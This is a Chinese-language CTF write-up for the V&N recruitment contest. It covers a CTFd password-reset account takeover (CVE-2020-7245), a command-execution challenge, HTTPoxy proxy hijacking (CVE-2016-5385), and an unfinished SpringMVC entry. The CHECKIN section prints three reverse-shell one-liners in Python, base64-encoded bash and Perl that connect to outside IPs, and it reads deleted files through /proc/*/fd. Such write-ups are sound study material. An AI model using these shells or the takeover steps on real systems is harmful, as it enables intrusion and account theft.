V&N招新公开赛题解

0x 01 HappyCTFd

  • 考点

    CVE-2020-7245

  • 解题过程

  1. 原理分析:

注册用户时判断用户是否存在的时候没有对两端空格进行处理,而插入数据库的时候去除了两端的空格。而后在重置密码时,用的又是这个被处理之后的用户名。

  1. 攻击流程:
  1. 利用添加空格绕过限制来注册一个与受害者用户名相同的账号
  2. 生成忘记密码链接发送到自己的邮箱
  3. 将自己的账号的用户名改成与被攻击者不相同的用户名
  4. 用邮箱中收到的链接更改密码即可。
  1. 首先注册一个用户名为 “空格+admin” 的账户。

然后用隐私窗口打开,发送密码重置邮件

之后修改自己的用户名

用邮箱中的链接来重置密码

在后台隐藏的题目中找到了flag

参考资料:

https://www.colabug.com/2020/0204/6940556/

0x 02 CHECKIN

  • 考点

    Linux 基本知识

  • 解题过程

  1. 页面右键打开查看源代码进行审计

shell路由通过传入参数可以进行命令执行,在每次执行命令前都会把 flag 文件删除且不带回显结果

  1. 因为是python应用,先反弹一个shell到内网的一个靶机中
1
2
3
4
5
6
7
8
第一种
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.1.34.205",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

第二种
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3NC4wLjIyMi4yMDMvMTIzNCAwPiYxCg==|base64 -d|bash

第三种
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"174.0.222.203:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;

这里引入文件描述符:

什么是文件描述符:内核利用文件描述符来访问文件。文件描述符是非负整数。打开现存文件或新建文件时,内核会返回一个文件描述符。读写文件也需要使用文件描述符来指定待读写的文件。

例如Python中,当我们open()函数打开一个文件时便创建了一个文件描述符,而后对这个文件描述符使用read()函数便是读取文件描述符中的内容,close()函数用于关闭/销毁这个文件描述符。

文件描述符储存在什么地方:/proc/<pid>/fd<id>

也就是说,我们可以通过cat进程中的fd来获取到文件描述符。相关知识点在高校运维挑战赛中也考到了。

利用cat /proc/*/fd/*读取文件缓存找到被移除的flag.txt,得到flag

0x 03 TimeTravle

  • 考点

    HTTPoxy漏洞(CVE-2016-5385)

  • 解题过程

  1. 页面打开显示了源代码,进行审计

传入参数flag,会请求一个 HTTPAPI 服务,那个服务返回 success 的话就执行程序读 flag。

传入参数file,就回去读这个文件。

传入参数phpinfo,就会执行 phpinfo。

  1. 用返回包中可以知道服务器使用的是Nginx + PHP,查看phpinfo服务器是cgi模式,符合https://github.com/vulhub/vulhub/tree/master/cgi/httpoxy 所述,我们需要传入一个 Proxy头,使其产生一个 HTTP_PROXY 环境变量,这个环境变量再被程序里的 GuzzleHttp 使用,即可使流量走代理,控制返回的请求。
  2. 尝试进行文件读取/start.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env bash

chmod +x /readflag
chmod +s /readflag
echo $FLAG > /flag && export FLAG=not_flag && FLAG=not_flag && cd /srv/

chmod 700 /flag

python3 /srv/app.py &


php-fpm &

service nginx start

tail -F /dev/null

开启了php-fpmhttp://127.0.0.1:5000/api/eligible服务就是这个/srv/app.py提供的,读取/srv/app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask
import datetime
import json
app = Flask(__name__)

@app.route('/api/eligible')
def source():
current_year = int(datetime.datetime.now().strftime("%Y"))
if current_year < 2050:
return json.dumps({"success": False})
else:
return json.dumps({"success": True})

if __name__ == "__main__":
app.run(host='127.0.0.1')
  1. 方法一:构造一个response返回就可以了,参考一位师傅的payload:
1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 29 Feb 2020 05:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive
Content-Length: 16

{"success":true}

方法二:用SimpleHTTPServer模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class DemoHttpServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200, message='OK')
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(json.dumps({"success": True}).encode())


if __name__ == '__main__':
server = HTTPServer(('0.0.0.0', 1234), DemoHttpServer)
print('Server is running, user <Ctrl+C> to srop.')
server.serve_forever()

方法三:

1
2
3
$arr = array("success"=>true);
header("Content-Type:application/json");
echo json_encode($arr);

当前目录启动php -S 0:2333

参考资料:

https://github.com/vulhub/vulhub/tree/master/cgi/httpoxy

0x 04 EasySpringMVC

待补上

参考资料:

https://blog.csdn.net/Leon_cx/article/details/81517603

https://blog.csdn.net/chasingin/article/details/104593868

https://www.zhaoj.in/read-6407.html